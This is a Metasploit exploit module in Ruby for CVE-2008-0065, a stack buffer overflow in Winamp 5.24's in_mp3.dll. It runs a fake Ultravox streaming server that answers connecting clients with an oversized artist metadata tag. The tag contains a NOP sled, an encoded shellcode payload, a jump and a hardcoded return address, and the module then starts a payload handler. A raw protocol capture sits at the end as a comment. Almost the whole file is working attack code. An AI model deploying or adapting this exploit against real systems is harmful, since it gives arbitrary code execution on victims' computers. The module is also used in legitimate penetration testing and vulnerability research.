##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in Winamp 5.24. By
        sending an overly long artist tag, a remote attacker may
        be able to execute arbitrary code. This vulnerability can be
        exploited from the browser or the winamp client itself.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [
          [ 'CVE', '2008-0065' ],
          [ 'OSVDB', '41707' ],
          [ 'BID', '27344' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 700,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jan 18 2008',
      'DefaultTarget'  => 0))

    register_options(
      [ 
        OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
      ], self.class)
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    res = client.get_once

    content =  "\x00\x01\x00\x01\x00\x01" + "<metadata><song><artist>"
    content << make_nops(3828 - payload.encoded.length) + payload.encoded
    content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
    content << "</artist></song></metadata>"

    sploit =  "\x5a\x00\x39\x01" + [content.length].pack('n')  
    sploit << content + "\x00"

    # randomize some stuff.
    num    = rand(65535).to_s

    header =  "HTTP/1.0 200 OK\r\n"
    header << "Server: Ultravox 3.0\r\n"
    header << "Content-Type: misc/ultravox\r\n"
    header << "Ultravox-SID: #{num}\r\n"
    header << "Ultravox-Avg-Bitrate: #{num}\r\n"
    header << "Ultravox-Max-Bitrate: #{num}\r\n"
    header << "Ultravox-Max-Msg: #{num}\r\n"
    header << "Ultravox-Stream-Info: Ultravox;Live Stream\r\n"
    header << "Ultravox-Msg-Que: #{num}\r\n"
    header << "Ultravox-Max-Fragments: 1\r\n\r\n"
    header << sploit 

    print_status("Sending #{header.length} bytes to #{client.peerhost}:#{client.peerport}...")

    client.put(header)
    handler(client)

    service.close_client(client)
  end

end


=begin
HTTP/1.0 200
.Server: Ultravo
x 3.0..Content-T
ype: misc/ultrav
ox..Ultravox-SID 
: 22221..Ultravo
x-Avg-Bitrate: 6
4000..Ultravox-M 
ax-Bitrate: 9600
0..Ultravox-Max- 
Msg: 16000..Ultr
avox-Stream-Info 
: Ultravox;Live
Stream..Ultravox 
-Msg-Que: 39..Ul
travox-Max-Fragm 
 
Z.9..,......<met 
adata><length>0< 
/length><soon>Mo 
re on
</soon><song><na 
me>The Night
ghts In
tin</name><album 
>Days Of
Passed</album><a 
rtist>The Moody
Blues</artist><a 
lbum_art>xm/stat 
ion_logo_WBCRHT. 
jpg</album_art>< 
album_art_200>xm 
/station_logo_WB 
CRHT_200.jpg</al 
bum_art_200><ser 
ial>-1</serial>< 
song_id>-1</song 
_id><amg_song_id 
>-1</amg_song_id 
><amg_artist_id> 
-1</amg_artist_i 
d><amg_album_id> 
-1</amg_album_id 
><itunes_song_id 
>-1</itunes_song 
_id><itunes_arti 
st_id>-1</itunes 
_artist_id><itun 
es_album_id>-1</ 
itunes_album_id> 
</song></metadat 
a>.Z.......\./!. 
!.UP.......B...& 
Z....D)ydB.,.vy/ 
=end